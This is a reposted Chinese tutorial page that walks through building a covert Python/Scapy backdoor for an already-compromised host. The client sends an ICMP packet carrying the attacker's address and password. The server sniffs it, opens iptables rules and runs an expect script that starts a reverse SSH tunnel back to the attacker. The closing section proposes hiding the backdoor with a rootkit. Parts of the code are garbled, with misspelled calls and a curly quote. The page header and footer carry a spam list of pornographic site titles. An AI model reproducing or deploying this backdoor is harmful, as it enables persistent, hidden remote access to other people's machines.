激情久久久_欧美视频区_成人av免费_不卡视频一二三区_欧美精品在欧美一区二区少妇_欧美一区二区三区的

腳本之家,腳本語言編程技術及教程分享平臺!
分類導航

Python|VBS|Ruby|Lua|perl|VBA|Golang|PowerShell|Erlang|autoit|Dos|bat|

服務器之家 - 腳本之家 - Python - 用Python編寫一個簡單的CS架構后門的方法

用Python編寫一個簡單的CS架構后門的方法

2021-04-21 00:32吃面包的科學怪人 Python

今天小編就為大家分享一篇關于用Python編寫一個簡單的CS架構后門的方法,小編覺得內容挺不錯的,現在分享給大家,具有很好的參考價值,需要的朋友一起跟隨小編來看看吧

0x00:事先說明

  • 你已經攻陷了對方主機且獲得了最高權限。
  • 對方的本地防火墻會丟棄所有的外來數據包。
  • 這個后門不會僅綁定在某一個端口上。
  • 這段代碼很容易寫,畢竟是 python(準確說是 python 2.x)。

0x01:工作原理

用Python編寫一個簡單的CS架構后門的方法

如你所見,客戶端將偽造具有 icmp 負載的特定數據包,另一方面在服務端,也就是我們的被攻擊主機,將會接受我們發送的數據包,即使它開啟了本地的防火墻(丟棄所有外來數據包)。關鍵在于無線網卡的監聽模式,它無需和 ap 建立連接卻可以和接受所有流經空氣的數據包。

我們會用到一個有用的第三方包 Scapy。這是它的官方文檔。如果你是第一次使用,不妨參考這篇文章,也許會有幫助。

0x02:客戶端代碼

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
'''
客戶端代碼。將服務端的 ip 地址、客戶端的 ip 地址、客戶端的連接端口,以及連接所需密碼作為程序輸入。如果成功返回一個交互式后門,在代碼硬編碼好的位置寫入日志文件信息。
'''
#! /usr/bin/env python
import logging
import socket
from scapy.all import *
import os
import os.path
import sys
import time
logging.getlongger("scapy.runtime").setlevel(loggin.error)
file_result = "/tmp/done"
if len(sys.argv) != 5:
 print "usage : " + " ip_server " + " client_ip " + " port_ssh_client " + “ password_client ”
 sys.exit(1)
server = sys.argv[1]
if os.path.isfile(file_result):
 os.remove(file_result)
load = sys.argv[2] + "|" + sys.argv[3] + "|" + sys.argv[4]
pingr = ip(dst = server) / icmp() / load
send(pingr, verbose = 0) # send() 函數工作在協議棧的第三層(網絡層)

0x04:服務端代碼

服務端代碼分為兩塊:1. 主要腳本部分、2. ssh 隧道部分。

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
'''
服務端代碼之主要腳本部分。這個腳本會監聽 icmp 數據包并從句法上分析其攜帶的數據部分(客戶端 ip 地址、客戶端連接端口、連接所需密碼)。接著在本地打開兩個新的防火墻規則。最后調用另一個 expect 腳本,以建立和客戶端之間穩定的 ssh 連接。
'''
#! /usr/bin/env python
import logging
import socket
from scapy.all import *
import re
import subprocess # py2.4 新增模塊,允許用戶編寫代碼生成新進程,連接到它們的 input/output/error 管道,并獲取它們的返回/狀態碼。
logging.getlogger("scapy.runtime").setlevel(logging.error)
def icmp_monitor_callback(pkt):
 reg = re.compile("(.*)\|(.*)\|(.*)")
 g = reg.match(pkt.load)
 if g:
 subprocess.popen(["/sbin/iptables", "-i", "input", "1","-s",g.group(1),'-j','accept'])
 subprocess.popen(["/sbin/iptables", "-i", "output", "1","-d",g.group(1),'-j','accept'])
 p=subprocess.call(["/root/sshtunnel.sh", g.group(1),g.group(2),g.group(3)])
 return
sniff(prn=icmp_monitor_callback, filter="icmp", store=0) # scapy.sniff() 函數會嗅探來自空氣中的數據包,prn 參數用來指定回調函數,每當符合 filter 的報文被探測到時,就會執行回調函數。有關該函數的詳細信息,可以參考這篇博客:https://thepacketgeek.com/scapy-sniffing-with-custom-actions-part-1/
?
1
2
3
4
5
6
7
8
9
10
11
12
13
'''
服務端代碼之 ssh 隧道部分,實際上是一個簡單的 expect 腳本。接受嗅探到的客戶端 ip 地址、客戶端端口,以及用于連接的密碼作為輸入。
'''
#!/usr/bin/expect -f
set ip [lindex $argv 0];
set port [lindex $argv 1];
set password [lindex $argv 2];
spawn ssh -o stricthostkeychecking=no -r 19999:localhost:$port $ip
expect "*?assword:*"
send "$password\r"
expect "*#"
send "touch /tmp/done\r"
interact

0x05:文末思考

上面完成的后門代碼待完善的地方。

  • icmp payload 應該被編碼。
  • 添加其他的協議用來喚醒該后門(如 http、特定的 syn 包、dns 等)。
  • 寫一個 rootkit,隱藏該后門,猥瑣欲為。此乃后話。

有關 rootkit 的延伸閱讀。

總結

以上就是這篇文章的全部內容了,希望本文的內容對大家的學習或者工作具有一定的參考學習價值,謝謝大家對服務器之家的支持。如果你想了解更多相關內容請查看下面相關鏈接

原文鏈接:https://blog.csdn.net/abc_12366/article/details/83028990

延伸 · 閱讀

精彩推薦
主站蜘蛛池模板: 九一成人| 久久精品国产精品亚洲 | 深夜网站在线观看 | 天天黄色片 | 欧美日日操 | 精品久久久久久久久久久久久 | 91精品欧美一区二区三区 | 黄色大片在线观看 | 精国品产一区二区三区有限公司 | 中国产一级毛片 | av在线免费电影 | 成人午夜精品久久久久久久3d | www.99tv| 亚洲成人在线免费观看 | 久久久久久久99 | 少妇的肉体的满足毛片 | 嫩呦国产一区二区三区av | 久久久精品视频网站 | 逼片| 99这里精品 | 91黄瓜视频| 欧美一级爱爱 | 青青草免费观看 | 特级无码毛片免费视频尤物 | 中文字幕在线观看电影 | 91精品久久久久久久久网影视 | 在线观看一区二区三区四区 | 国产1区2区3区中文字幕 | 超碰97人人艹 | 亚洲国产精品久久久久久久久 | 精品久久久久久久久亚洲 | 日本网站在线播放 | 黄网站在线免费 | 中文字幕在线播放视频 | 亚洲三区精品 | 欧美精品久久久久久久多人混战 | 久久久久久久久91 | 欧美成人精品一区二区三区 | 亚洲精品久久久久久久久久久 | 久久久国产精品网站 | 3级毛片 |